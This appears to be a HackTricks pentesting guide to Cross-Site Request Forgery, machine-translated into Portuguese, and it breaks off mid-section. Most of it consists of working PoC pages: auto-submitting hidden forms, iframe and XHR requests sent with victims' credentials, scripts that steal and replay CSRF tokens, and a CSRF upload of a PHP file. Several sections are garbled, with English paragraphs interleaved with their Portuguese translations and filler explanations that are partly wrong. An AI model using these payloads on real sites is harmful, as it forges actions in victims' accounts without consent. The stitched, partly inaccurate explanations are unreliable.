# CSRF (Cross Site Request Forgery)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof é o lar de todas as recompensas por bugs de criptografia.**

**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

**Torne-se a lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

## O que é CSRF?

**Cross-site request forgery** (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite a um atacante **induzir os usuários a realizar ações que eles não pretendem realizar**.\
Isso é feito **fazendo um usuário logado** na plataforma da vítima acessar um site controlado pelo atacante e a partir daí **executar** código JS malicioso, enviar formulários ou recuperar "imagens" para a **conta da vítima**.

### Requisitos

Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa **encontrar uma ação relevante para explorar** (alterar senha ou email, fazer a vítima seguir você em uma rede social, dar a você mais privilégios...). A **sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP**, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, não deve haver **parâmetros imprevisíveis** na solicitação.

Várias **contramedidas** podem ser implementadas para evitar essa vulnerabilidade.

### **Defesas comuns**

* [**Cookies SameSite**](hacking-with-cookies/#samesite): Se o cookie de sessão estiver usando essa flag, você pode não ser capaz de enviar o cookie de sites arbitrários.
* [**Compartilhamento de recursos entre origens**](cors-bypass.md): Dependendo do tipo de solicitação HTTP que você precisa fazer para explorar a ação relevante, você pode levar em consideração a **política CORS do site da vítima**. _Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta._
* Solicitar a **senha** do usuário para autorizar a ação.
* Resolver um **captcha**
* Ler os cabeçalhos **Referrer** ou **Origin**. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com:
* http://mal.net?orig=http://example.com (termina com a URL)
* http://example.com.mal.net (começa com a URL)
* **Modificar** o **nome** dos **parâmetros** da solicitação POST ou GET
* Usar um **token CSRF** em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS.

### Mapa CSRF

![](<../.gitbook/assets/image (112).png>)

## Bypass de Defesas

### De POST para GET

Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF**, mas você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.

### Falta de token

Algumas aplicações validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido.\
Nessa situação, o atacante pode **remover o parâmetro inteiro** que contém o token (não apenas o valor) para contornar a validação e realizar um ataque CSRF.

### Token CSRF não está vinculado à sessão do usuário

Algumas aplicações **não validam que o token pertence à mesma sessão** do usuário que está fazendo a solicitação. Em vez disso, a aplicação **mantém um pool global de tokens** que emitiu e aceita qualquer token que apareça nesse pool.\
Nessa situação, o atacante pode fazer login na aplicação usando sua própria conta, **obter um token válido** e, em seguida, **enviar esse token para o usuário vítima** em seu ataque CSRF.

### Bypass de método

Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.\
Por exemplo, se estiver **usando o método PUT**, você pode tentar **usar o método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_

Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:

* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Bypass de token de cabeçalho personalizado

Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como método de **proteção CSRF**, então:

* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
* Teste a solicitação com um **token diferente, mas com o mesmo comprimento**.

### O token CSRF é verificado por um cookie

Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou então, **definem um cookie csrf** e **verificam no backend se o token csrf enviado é o mesmo relacionado ao cookie**.

Quando a solicitação subsequente é validada, o aplicativo simplesmente verifica se o **token** enviado no **parâmetro de solicitação corresponde** ao valor armazenado pelo **cookie**.\
Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima, como um CRLF**.

Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
```
{% hint style="info" %}
Observe que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo.
{% endhint %}

### Alteração do Content-Type

De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, esses são os valores permitidos para o Content-Type:

* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**

No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, portanto, você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._

Exemplo (de [aqui](https://brycec.me/posts/corctf\_2021\_challenges)) de envio de dados JSON como text/plain:
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
```
### Bypassar solicitação de pré-voo de aplicativo/json

Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type **`application/json`** via formulário HTML e, se você tentar fazer isso via **`XMLHttpRequest`**, uma solicitação de pré-voo é enviada primeiro.\
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo **`text/plain`** e **`application/x-www-form-urlencoded`** apenas para verificar se o backend está usando os dados independentemente do Content-Type.\
Você pode enviar um formulário usando `Content-Type: text/plain` definindo **`enctype="text/plain"`**

Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode **enviar o tipo de conteúdo "text/plain; application/json"** sem acionar uma solicitação de pré-voo.

Você também pode tentar **burlar** essa restrição usando um **arquivo SWF flash**. Para mais informações, [**leia este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).

### Bypass de verificação de Referrer / Origin

**Evite o cabeçalho Referer**

Alguns aplicativos validam o cabeçalho Referer quando ele está presente nas solicitações, mas **ignoram a validação se o cabeçalho for omitido**.
```markup
<meta name="referrer" content="never">
```
**Burlas de Regexp**

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}

Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
```
### **Bypassando o método HEAD**

A primeira parte deste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que no código-fonte do [Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **tratar as requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico para lidar com as requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo remove o corpo de resposta**.

Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.

## **Exemplos de Exploração**

### **Exfiltrando o Token CSRF**

Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** aproveitando uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).

### **GET usando tags HTML**
```markup
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:

![](<../.gitbook/assets/image (530).png>)

### Solicitação GET de formulário
```markup
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### Requisição POST de formulário

A form POST request is a type of HTTP request that is used to submit data from an HTML form to a server. This type of request is commonly used in web applications to send user input data, such as login credentials or form submissions, to the server for processing.

Uma requisição POST de formulário é um tipo de requisição HTTP que é usada para enviar dados de um formulário HTML para um servidor. Esse tipo de requisição é comumente usado em aplicações web para enviar dados de entrada do usuário, como credenciais de login ou envio de formulários, para o servidor para processamento.

To make a form POST request, the client sends an HTTP POST request to the server's endpoint, typically specified in the `action` attribute of the HTML form. The request includes the form data as key-value pairs in the request body.

Para fazer uma requisição POST de formulário, o cliente envia uma requisição HTTP POST para o endpoint do servidor, normalmente especificado no atributo `action` do formulário HTML. A requisição inclui os dados do formulário como pares de chave-valor no corpo da requisição.

The server receives the form data and processes it according to the application's logic. This can involve storing the data in a database, performing calculations, or generating a response to be sent back to the client.

O servidor recebe os dados do formulário e os processa de acordo com a lógica da aplicação. Isso pode envolver armazenar os dados em um banco de dados, realizar cálculos ou gerar uma resposta para ser enviada de volta ao cliente.

It's important to note that form POST requests can be vulnerable to Cross-Site Request Forgery (CSRF) attacks if proper security measures are not in place. CSRF attacks occur when an attacker tricks a user into unknowingly submitting a form on a trusted website, leading to unintended actions being performed on the user's behalf.

É importante observar que as requisições POST de formulário podem ser vulneráveis a ataques de Cross-Site Request Forgery (CSRF) se as medidas de segurança adequadas não forem implementadas. Os ataques CSRF ocorrem quando um atacante engana um usuário a enviar um formulário em um site confiável, levando a ações não intencionais sendo executadas em nome do usuário.
```markup
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
```
### Requisição POST de formulário por meio de iframe

To perform a Cross-Site Request Forgery (CSRF) attack using an iframe, you can create a hidden iframe on a malicious website that targets a vulnerable website. 

Para realizar um ataque de Cross-Site Request Forgery (CSRF) usando um iframe, você pode criar um iframe oculto em um site malicioso que visa um site vulnerável.

The iframe should contain a form with the necessary input fields and a JavaScript code that automatically submits the form when the iframe loads. 

O iframe deve conter um formulário com os campos de entrada necessários e um código JavaScript que envia automaticamente o formulário quando o iframe é carregado.

When a user visits the malicious website, the iframe is loaded in the background, and the form is submitted without the user's knowledge. 

Quando um usuário visita o site malicioso, o iframe é carregado em segundo plano e o formulário é enviado sem o conhecimento do usuário.

This can be used to perform actions on the vulnerable website on behalf of the user, such as changing their password, making purchases, or performing any other action that the user is authorized to do. 

Isso pode ser usado para realizar ações no site vulnerável em nome do usuário, como alterar sua senha, fazer compras ou executar qualquer outra ação para a qual o usuário esteja autorizado.

To protect against CSRF attacks, websites should implement measures such as using anti-CSRF tokens, checking the referrer header, and implementing strict access controls. 

Para se proteger contra ataques CSRF, os sites devem implementar medidas como o uso de tokens anti-CSRF, verificação do cabeçalho do referenciador e implementação de controles de acesso rigorosos.
```markup
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### **Requisição POST Ajax**

Uma requisição POST Ajax é uma técnica usada para enviar dados para um servidor sem recarregar a página. Isso é feito usando a função `$.ajax()` do jQuery ou a classe `XMLHttpRequest` do JavaScript puro.

A requisição POST Ajax é frequentemente usada em ataques de falsificação de solicitação entre sites (CSRF), onde um invasor engana um usuário autenticado a executar ações indesejadas em um site sem o seu conhecimento.

Durante um ataque CSRF, o invasor cria um formulário malicioso em um site controlado por ele e o envia para a vítima. Quando a vítima visita o site malicioso, o formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada da vítima. Isso permite que o invasor execute ações em nome da vítima, como fazer uma transferência de fundos, alterar senhas, entre outros.

Para se proteger contra ataques CSRF, é recomendado implementar medidas como o uso de tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em formulários ou cabeçalhos de solicitação. O servidor verifica se o token enviado corresponde ao esperado, rejeitando a solicitação se não houver correspondência.

É importante estar ciente dos riscos associados a ataques CSRF e implementar as devidas medidas de segurança para proteger os aplicativos web contra essa ameaça.
```markup
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>
```
### Requisição POST multipart/form-data

A requisição POST multipart/form-data é um tipo de requisição utilizada para enviar dados binários, como arquivos, através de um formulário HTML. Essa técnica é comumente utilizada em aplicações web para o envio de arquivos de imagem, áudio, vídeo, entre outros.

Nesse tipo de requisição, os dados são divididos em várias partes, cada uma com seu próprio cabeçalho e conteúdo. Cada parte é separada por um delimitador, que é especificado no cabeçalho da requisição.

Para realizar uma requisição POST multipart/form-data, é necessário utilizar um cliente HTTP, como o cURL ou o Postman. O corpo da requisição deve conter as partes separadas pelo delimitador, e cada parte deve conter um cabeçalho Content-Disposition para indicar o nome do campo e o nome do arquivo, se aplicável.

Essa técnica pode ser explorada em testes de segurança, como testes de penetração, para verificar se a aplicação web está vulnerável a ataques de Cross-Site Request Forgery (CSRF). O CSRF é um tipo de ataque em que um invasor engana o usuário para que ele execute ações indesejadas em um site no qual ele está autenticado.

Durante um teste de penetração, é possível enviar uma requisição POST multipart/form-data maliciosa para executar ações indesejadas em nome do usuário autenticado, como alterar informações pessoais, fazer compras ou até mesmo excluir dados importantes.

Para proteger uma aplicação web contra ataques CSRF, é recomendado utilizar mecanismos de proteção, como tokens CSRF, que são gerados pelo servidor e incluídos em formulários ou cabeçalhos de requisição. Esses tokens são verificados pelo servidor para garantir que a requisição seja legítima e não provenha de um ataque CSRF.
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### Requisição POST multipart/form-data v2

In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.

Nesta técnica, exploraremos como realizar um ataque de Cross-Site Request Forgery (CSRF) usando uma requisição POST multipart/form-data.

#### Introduction

#### Introdução

Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request. This attack occurs when a malicious website or application forces the victim's browser to make a request to a target website where the victim is authenticated.

Cross-Site Request Forgery (CSRF) é um ataque que engana a vítima a enviar uma requisição maliciosa. Esse ataque ocorre quando um site ou aplicativo malicioso força o navegador da vítima a fazer uma requisição para um site alvo onde a vítima está autenticada.

#### Exploiting CSRF with multipart/form-data POST request

#### Explorando CSRF com requisição POST multipart/form-data

1. Identify the target website that is vulnerable to CSRF.

1. Identifique o site alvo que é vulnerável a CSRF.

2. Analyze the target website's functionality and identify a form or action that performs a sensitive action, such as changing the user's password or making a financial transaction.

2. Analise a funcionalidade do site alvo e identifique um formulário ou ação que execute uma ação sensível, como alterar a senha do usuário ou realizar uma transação financeira.

3. Craft a malicious HTML page or email that includes a form with the target website's action URL and necessary input fields.

3. Crie uma página HTML ou e-mail malicioso que inclua um formulário com a URL de ação do site alvo e os campos de entrada necessários.

4. Include a hidden input field with the CSRF token value obtained from the target website.

4. Inclua um campo de entrada oculto com o valor do token CSRF obtido do site alvo.

5. Trick the victim into visiting the malicious page or clicking on the malicious email.

5. Engane a vítima para visitar a página maliciosa ou clicar no e-mail malicioso.

6. When the victim submits the form, the browser will automatically send the multipart/form-data POST request to the target website, performing the sensitive action.

6. Quando a vítima enviar o formulário, o navegador enviará automaticamente a requisição POST multipart/form-data para o site alvo, executando a ação sensível.

7. The target website will process the request, thinking it was initiated by the victim, since the request includes the victim's session cookies.

7. O site alvo processará a requisição, pensando que foi iniciada pela vítima, uma vez que a requisição inclui os cookies de sessão da vítima.

8. The sensitive action will be performed without the victim's consent or knowledge.

8. A ação sensível será executada sem o consentimento ou conhecimento da vítima.

#### Mitigating CSRF vulnerabilities

#### Mitigando vulnerabilidades de CSRF

To mitigate CSRF vulnerabilities, consider implementing the following measures:

Para mitigar vulnerabilidades de CSRF, considere implementar as seguintes medidas:

1. Implement CSRF tokens: Include unique tokens in each form or action that performs sensitive actions. Verify the token on the server-side to ensure that the request is legitimate.

1. Implemente tokens de CSRF: Inclua tokens únicos em cada formulário ou ação que execute ações sensíveis. Verifique o token no lado do servidor para garantir que a requisição seja legítima.

2. Use SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-origin requests.

2. Use cookies SameSite: Defina o atributo SameSite como "Strict" ou "Lax" para cookies, para evitar que sejam enviados em requisições de origem cruzada.

3. Implement CAPTCHAs: Use CAPTCHAs to verify that the request is being made by a human and not an automated script.

3. Implemente CAPTCHAs: Use CAPTCHAs para verificar se a requisição está sendo feita por um humano e não por um script automatizado.

4. Educate users: Train users to be cautious when clicking on links or submitting forms, especially when they are not familiar with the website.

4. Eduque os usuários: Treine os usuários para serem cautelosos ao clicar em links ou enviar formulários, especialmente quando não estão familiarizados com o site.

By implementing these measures, you can significantly reduce the risk of CSRF attacks on your website.

Ao implementar essas medidas, você pode reduzir significativamente o risco de ataques de CSRF em seu site.
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);
```
### Requisição POST de formulário de dentro de um iframe

When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when the form is submitted from within an iframe.

Quando um formulário HTML é enviado, o navegador envia uma requisição POST para a URL especificada. Esse comportamento pode ser explorado em um ataque de Cross-Site Request Forgery (CSRF) quando o formulário é enviado de dentro de um iframe.

To perform a CSRF attack using an iframe, an attacker can create a webpage with an iframe that loads the target website's form. The attacker can then submit the form automatically using JavaScript.

Para realizar um ataque CSRF usando um iframe, um atacante pode criar uma página da web com um iframe que carrega o formulário do site alvo. O atacante pode então enviar o formulário automaticamente usando JavaScript.

Here's an example of how the attack can be executed:

Aqui está um exemplo de como o ataque pode ser executado:

```html
<iframe id="csrf-frame" src="https://target-website.com/form"></iframe>
<script>
  window.onload = function() {
    var frame = document.getElementById('csrf-frame');
    var form = frame.contentDocument.forms[0];
    form.submit();
  };
</script>
```

In this example, the attacker's webpage contains an iframe that loads the target website's form. The JavaScript code automatically submits the form as soon as the iframe is loaded.

Neste exemplo, a página da web do atacante contém um iframe que carrega o formulário do site alvo. O código JavaScript envia automaticamente o formulário assim que o iframe é carregado.

By tricking a victim into visiting the attacker's webpage, the form submission will occur without the victim's knowledge or consent. This can lead to unauthorized actions being performed on the victim's behalf.

Ao enganar uma vítima para visitar a página da web do atacante, o envio do formulário ocorrerá sem o conhecimento ou consentimento da vítima. Isso pode levar a ações não autorizadas sendo realizadas em nome da vítima.
```markup
<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **Roubar o Token CSRF e enviar uma requisição POST**

Um ataque de falsificação de solicitação entre sites (CSRF) ocorre quando um invasor engana um usuário autenticado a executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Para realizar esse ataque, o invasor precisa roubar o token CSRF do usuário e enviá-lo em uma requisição POST.

Existem várias maneiras de roubar o token CSRF de um usuário. Alguns métodos comuns incluem:

- Engenharia social: o invasor pode enganar o usuário para que ele clique em um link malicioso ou visite um site comprometido que execute um script para roubar o token CSRF.
- Cross-Site Scripting (XSS): se o aplicativo da web for vulnerável a XSS, o invasor pode injetar um script malicioso que rouba o token CSRF do usuário.
- Ataques de força bruta: o invasor pode tentar adivinhar o token CSRF por meio de tentativas repetidas.

Depois de obter o token CSRF, o invasor pode enviá-lo em uma requisição POST para executar ações indesejadas em nome do usuário autenticado. Isso pode incluir alterar informações do usuário, fazer compras não autorizadas ou realizar outras atividades maliciosas.

Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como:

- Usar tokens CSRF exclusivos e aleatórios para cada sessão do usuário.
- Validar o token CSRF em todas as requisições POST para garantir que ele seja válido e corresponda ao usuário autenticado.
- Implementar políticas de SameSite para cookies para limitar a execução de solicitações de origem cruzada.

Os usuários também podem tomar medidas para se proteger contra ataques CSRF, como:

- Não clicar em links suspeitos ou visitar sites não confiáveis.
- Manter o software do navegador e do sistema operacional atualizado para corrigir quaisquer vulnerabilidades conhecidas.
- Usar extensões de navegador que bloqueiam scripts maliciosos e protegem contra ataques de XSS.

Ao estar ciente dos riscos e implementar medidas de segurança adequadas, os desenvolvedores e usuários podem reduzir significativamente a probabilidade de sucesso de um ataque CSRF.
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**

Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário oculto e Ajax.

1. Primeiro, o atacante precisa obter o token CSRF do usuário. Isso pode ser feito explorando uma vulnerabilidade de vazamento de token CSRF em um site ou usando técnicas de engenharia social para enganar o usuário e fazê-lo revelar o token.

2. Uma vez que o token CSRF tenha sido obtido, o atacante pode criar um iframe oculto em uma página controlada por ele. O iframe deve apontar para o alvo que o atacante deseja atacar.

```html
<iframe id="csrf-frame" style="display:none;"></iframe>
```

3. Em seguida, o atacante cria um formulário oculto dentro do iframe e preenche os campos necessários, incluindo o token CSRF roubado.

```html
<form id="csrf-form" action="https://www.alvo.com/endpoint" method="POST">
  <input type="hidden" name="param1" value="value1">
  <input type="hidden" name="param2" value="value2">
  <input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROUBADO">
</form>
```

4. O atacante usa JavaScript para enviar automaticamente o formulário assim que a página é carregada.

```html
<script>
  document.getElementById('csrf-frame').onload = function() {
    document.getElementById('csrf-form').submit();
  };
  document.getElementById('csrf-frame').src = 'about:blank';
</script>
```

5. O navegador carrega o iframe oculto e envia a solicitação POST para o alvo, incluindo o token CSRF roubado. Como a solicitação é originada do navegador do usuário, o alvo acredita que é uma solicitação legítima e processa-a.

Essa técnica de ataque CSRF pode ser eficaz para explorar sites que não implementam proteções adequadas contra ataques CSRF, como a verificação do token CSRF em todas as solicitações POST. É importante que os desenvolvedores implementem medidas de segurança, como tokens CSRF aleatórios e exclusivos, para proteger seus aplicativos contra esse tipo de ataque.
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**

Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário.

1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade vulnerável.

```html
<iframe style="display:none" src="https://www.sitetalvo.com/"></iframe>
```

2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o URL vulnerável do site alvo. O token CSRF é incluído como um campo oculto no formulário.

```html
<form action="https://www.sitetalvo.com/vulnerabilidade" method="POST">
  <input type="hidden" name="csrf_token" value="TOKEN_CSRF_AQUI">
  <!-- Outros campos do formulário -->
  <input type="submit" value="Enviar">
</form>
```

